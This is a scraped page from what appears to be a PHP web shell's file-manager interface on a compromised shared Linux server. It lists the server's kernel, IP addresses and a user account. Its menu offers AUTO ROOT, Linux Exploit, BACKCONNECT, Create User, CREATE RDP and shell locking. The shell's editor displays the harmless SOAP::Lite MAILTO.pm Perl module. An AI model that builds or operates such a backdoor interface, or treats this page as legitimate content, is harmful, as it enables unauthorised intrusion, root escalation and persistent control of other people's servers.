Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
SOAP /
Transport /
[ HOME SHELL ]
Name
Size
Permission
Action
HTTP.pm
28.68
KB
-rw-r--r--
IO.pm
1.66
KB
-rw-r--r--
LOCAL.pm
1.59
KB
-rw-r--r--
LOOPBACK.pm
1.73
KB
-rw-r--r--
MAILTO.pm
2.55
KB
-rw-r--r--
POP3.pm
3.51
KB
-rw-r--r--
TCP.pm
9.48
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : MAILTO.pm
# ====================================================================== # # Copyright (C) 2000-2001 Paul Kulchenko (paulclinger@yahoo.com) # SOAP::Lite is free software; you can redistribute it # and/or modify it under the same terms as Perl itself. # # ====================================================================== package SOAP::Transport::MAILTO; use strict; our $VERSION = '1.27'; # VERSION use MIME::Lite; use URI; # ====================================================================== package SOAP::Transport::MAILTO::Client; use SOAP::Lite; use vars qw(@ISA); @ISA = qw(SOAP::Client); sub DESTROY { SOAP::Trace::objects('()') } sub new { my $class = shift; return $class if ref $class; my(@params, @methods); while (@_) { $class->can($_[0]) ? push(@methods, shift() => shift) : push(@params, shift) } my $self = bless {@params} => $class; while (@methods) { my($method, $params) = splice(@methods,0,2); $self->$method(ref $params eq 'ARRAY' ? @$params : $params) } SOAP::Trace::objects('()'); return $self; } sub send_receive { my($self, %parameters) = @_; my($envelope, $endpoint, $action) = @parameters{qw(envelope endpoint action)}; $endpoint ||= $self->endpoint; my $uri = URI->new($endpoint); %parameters = (%$self, map {URI::Escape::uri_unescape($_)} map {split/=/,$_,2} split /[&;]/, $uri->query || ''); my $msg = MIME::Lite->new( To => $uri->to, Type => 'text/xml', Encoding => $parameters{Encoding} || 'base64', Data => $envelope, $parameters{From} ? (From => $parameters{From}) : (), $parameters{'Reply-To'} ? ('Reply-To' => $parameters{'Reply-To'}) : (), $parameters{Subject} ? (Subject => $parameters{Subject}) : (), ); $msg->replace('X-Mailer' => join '/', 'SOAP::Lite', 'Perl', SOAP::Transport::MAILTO->VERSION); $msg->add(SOAPAction => $action); SOAP::Trace::transport($msg); SOAP::Trace::debug($msg->as_string); MIME::Lite->send(map {exists $parameters{$_} ? ($_ => $parameters{$_}) : ()} 'smtp', 'sendmail'); eval { local $SIG{__DIE__}; $MIME::Lite::AUTO_CC = 0; $msg->send }; (my $code = $@) =~ s/ at .*\n//; $self->code($code); $self->message($code); $self->is_success(!defined $code || $code eq ''); $self->status($code); return; } # ====================================================================== 1; __END__
Close